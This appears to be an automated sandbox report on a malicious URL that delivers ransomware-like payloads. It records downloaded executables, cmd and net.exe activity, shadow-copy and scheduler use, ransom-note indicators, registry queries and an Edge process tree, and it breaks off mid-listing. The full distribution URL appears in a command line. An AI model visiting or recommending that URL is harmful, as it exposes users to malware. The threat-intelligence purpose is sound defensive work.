hxxps://ere[.]ladybada[.]workers[.]dev/

Resubmissions

15/10/2026, 10:46

261015-mt2vvsbw2t8

15/10/2026, 10:43

261015-msc54sbv7w8

Analysis

user interaction
yes
max time kernel
281s
max time network
281s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/10/2026, 10:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://ere.ladybada.workers.dev/
Sample261015-mt2vvsbw2t

Score

8^/10

discovery execution persistence ransomware

Malware Config

Signatures

Downloads MZ/PE file 2 IoCs

flow	pid	Process
43	4888	msedge.exe
74	4716	curl.exe

Executes dropped EXE 6 IoCs

pid	Process
5488	installer.exe
4488	main.exe
3560	main.exe
4664	main.exe
472	main.exe
984	main.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\spool\PRINTERS\00002.SPL	NOTEPAD.EXE
File created	C:\Windows\system32\spool\PRINTERS\PPjdifgqjow2hkh_qktwwe6y2hb.TMP	printfilterpipelinesvc.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\Caches\cversions.3.db	printfilterpipelinesvc.exe
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\Caches\{03BA58C4-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db	printfilterpipelinesvc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2948	cmd.exe
3968	cmd.exe
2340	cmd.exe
2352	cmd.exe
5208	cmd.exe
2560	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4888	msedge.exe

Checks SCSI registry key(s) 3 TTPs 24 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\CompatibleIDs	printfilterpipelinesvc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	printfilterpipelinesvc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\CompatibleIDs	NOTEPAD.EXE
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	NOTEPAD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	NOTEPAD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	printfilterpipelinesvc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	printfilterpipelinesvc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	printfilterpipelinesvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	printfilterpipelinesvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	NOTEPAD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	printfilterpipelinesvc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	printfilterpipelinesvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	printfilterpipelinesvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	NOTEPAD.EXE
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\CompatibleIDs	NOTEPAD.EXE
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	NOTEPAD.EXE
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	NOTEPAD.EXE
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	printfilterpipelinesvc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\CompatibleIDs	printfilterpipelinesvc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	printfilterpipelinesvc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	NOTEPAD.EXE
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	NOTEPAD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	NOTEPAD.EXE
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	NOTEPAD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	ONENOTE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	ONENOTE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ONENOTE.EXE

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	ONENOTE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	ONENOTE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	ONENOTE.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	NOTEPAD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4154726816-2055034831-2297277433-1000\{85E8EFFF-3FB5-4C0A-AF91-89C977CE2ED3}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	NOTEPAD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	NOTEPAD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	NOTEPAD.EXE

Opens file in notepad (likely ransom note) 4 IoCs

ransomware

pid	Process
1528	NOTEPAD.EXE
2400	NOTEPAD.EXE
3500	NOTEPAD.EXE
1972	NOTEPAD.EXE

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
6080	ONENOTE.EXE
6080	ONENOTE.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
6080	ONENOTE.EXE
6080	ONENOTE.EXE
3604	msedge.exe
3604	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe

Suspicious use of FindShellTrayWindow 49 IoCs

pid	Process
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
6080	ONENOTE.EXE
6080	ONENOTE.EXE
6080	ONENOTE.EXE
6080	ONENOTE.EXE
6080	ONENOTE.EXE
6080	ONENOTE.EXE
6080	ONENOTE.EXE
6080	ONENOTE.EXE
6080	ONENOTE.EXE
6080	ONENOTE.EXE
6080	ONENOTE.EXE
6080	ONENOTE.EXE
6080	ONENOTE.EXE
6080	ONENOTE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3408 wrote to memory of 4588	3408	msedge.exe	88
PID 3408 wrote to memory of 4888	3408	msedge.exe	89
PID 3408 wrote to memory of 4712	3408	msedge.exe	90
PID 3408 wrote to memory of 3360	3408	msedge.exe	91
PID 3408 wrote to memory of 4712	3408	msedge.exe	90
PID 3408 wrote to memory of 4712	3408	msedge.exe	90
PID 3408 wrote to memory of 3360	3408	msedge.exe	91
PID 3408 wrote to memory of 5764	3408	msedge.exe	93
PID 3408 wrote to memory of 5764	3408	msedge.exe	93
PID 3408 wrote to memory of 5764	3408	msedge.exe	93
PID 3408 wrote to memory of 420	3408	msedge.exe	94
PID 3408 wrote to memory of 420	3408	msedge.exe	94
PID 3408 wrote to memory of 420	3408	msedge.exe	94
PID 3408 wrote to memory of 4640	3408	msedge.exe	95
PID 3408 wrote to memory of 5900	3408	msedge.exe	96
PID 3408 wrote to memory of 4640	3408	msedge.exe	95
PID 3408 wrote to memory of 4640	3408	msedge.exe	95
PID 3408 wrote to memory of 5900	3408	msedge.exe	96
PID 3408 wrote to memory of 5900	3408	msedge.exe	96
PID 3408 wrote to memory of 2216	3408	msedge.exe	99
PID 3408 wrote to memory of 1472	3408	msedge.exe	98
PID 3408 wrote to memory of 2216	3408	msedge.exe	99
PID 3408 wrote to memory of 1472	3408	msedge.exe	98
PID 3408 wrote to memory of 108	3408	msedge.exe	101
PID 3408 wrote to memory of 1980	3408	msedge.exe	102
PID 3408 wrote to memory of 1980	3408	msedge.exe	102
PID 3408 wrote to memory of 1980	3408	msedge.exe	102
PID 3408 wrote to memory of 5208	3408	msedge.exe	103
PID 3408 wrote to memory of 3192	3408	msedge.exe	104
PID 3408 wrote to memory of 3192	3408	msedge.exe	104
PID 3408 wrote to memory of 3192	3408	msedge.exe	104
PID 3408 wrote to memory of 5208	3408	msedge.exe	103
PID 3408 wrote to memory of 2532	3408	msedge.exe	105
PID 3408 wrote to memory of 5716	3408	msedge.exe	108
PID 3408 wrote to memory of 5716	3408	msedge.exe	108
PID 3408 wrote to memory of 5716	3408	msedge.exe	108
PID 3408 wrote to memory of 2040	3408	msedge.exe	109
PID 5488 wrote to memory of 2948	5488	installer.exe	113
PID 2948 wrote to memory of 2624	2948	cmd.exe	114
PID 2624 wrote to memory of 3424	2624	net.exe	115
PID 2948 wrote to memory of 5580	2948	cmd.exe	127
PID 2948 wrote to memory of 3968	2948	cmd.exe	117
PID 3968 wrote to memory of 5604	3968	cmd.exe	119
PID 5604 wrote to memory of 796	5604	net.exe	120
PID 4344 wrote to memory of 6080	4344	printfilterpipelinesvc.exe	124
PID 3408 wrote to memory of 5580	3408	msedge.exe	127
PID 3408 wrote to memory of 2612	3408	msedge.exe	128
PID 3408 wrote to memory of 3972	3408	msedge.exe	129
PID 3408 wrote to memory of 4140	3408	msedge.exe	131
PID 3408 wrote to memory of 4140	3408	msedge.exe	131
PID 3408 wrote to memory of 5988	3408	msedge.exe	132
PID 3408 wrote to memory of 5988	3408	msedge.exe	132
PID 2340 wrote to memory of 108	2340	cmd.exe	136
PID 108 wrote to memory of 2216	108	net.exe	137
PID 2352 wrote to memory of 6080	2352	cmd.exe	140
PID 6080 wrote to memory of 4436	6080	net.exe	141
PID 3408 wrote to memory of 3604	3408	msedge.exe	143
PID 3408 wrote to memory of 932	3408	msedge.exe	144
PID 3408 wrote to memory of 932	3408	msedge.exe	144
PID 3408 wrote to memory of 5584	3408	msedge.exe	145
PID 3408 wrote to memory of 5584	3408	msedge.exe	145
PID 3408 wrote to memory of 696	3408	msedge.exe	146
PID 3408 wrote to memory of 696	3408	msedge.exe	146
PID 5208 wrote to memory of 4628	5208	cmd.exe	149

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	74	curl/8.8.0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://ere.ladybada.workers.dev/
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x288,0x7ffb0363c188,0x7ffb0363c194,0x7ffb0363c1a0
  2⤵
  PID:4588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1716,i,12744877066188887776,3535412694805388861,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=3056 /prefetch:11
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:4888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1524,i,4414449680006263533,8188224980555001605,262144 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=2176 /prefetch:2
  2⤵
  PID:4712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2428,i,2817231396796533067,11792848011916818849,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=3076 /prefetch:13
  2⤵
  PID:3360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3608,i,17820454542634566953,12677908485523363542,2097152 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:1
  2⤵
  PID:5764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3612,i,9188692293524593093,17042535247382526253,2097152 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:1
  2⤵
  PID:420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4268,i,3615824065844525555,9464770921736408345,2097152 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=4792 /prefetch:9
  2⤵
  PID:4640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4248,i,11158760080539069575,1341642240043102985,2097152 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=4876 /prefetch:1
  2⤵
  PID:5900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3796,i,1908602004950200657,9720080361098913665,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:14
  2⤵
  PID:1472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3784,i,6492699667357026994,3293411532090151085,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:14
  2⤵
  PID:2216
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6068,i,5152673026643940715,8255721303305835551,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=6084 /prefetch:14
  2⤵
  PID:2000
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6068,i,5152673026643940715,8255721303305835551,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=6084 /prefetch:14
  2⤵
  PID:108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=6268,i,6377341319753373287,12686391646681431388,2097152 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:1
  2⤵
  PID:1980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6472,i,16873719968037868298,14633336650719534667,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:14
  2⤵
  PID:5208
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6484,i,4763058670359675269,8106447163939051779,2097152 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=6548 /prefetch:1
  2⤵
  PID:3192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6848,i,4342440145704924165,18001809874927889198,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=6844 /prefetch:14
  2⤵
  PID:2532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=4980,i,10052823802089402163,16310922690928848475,2097152 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:1
  2⤵
  PID:5716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
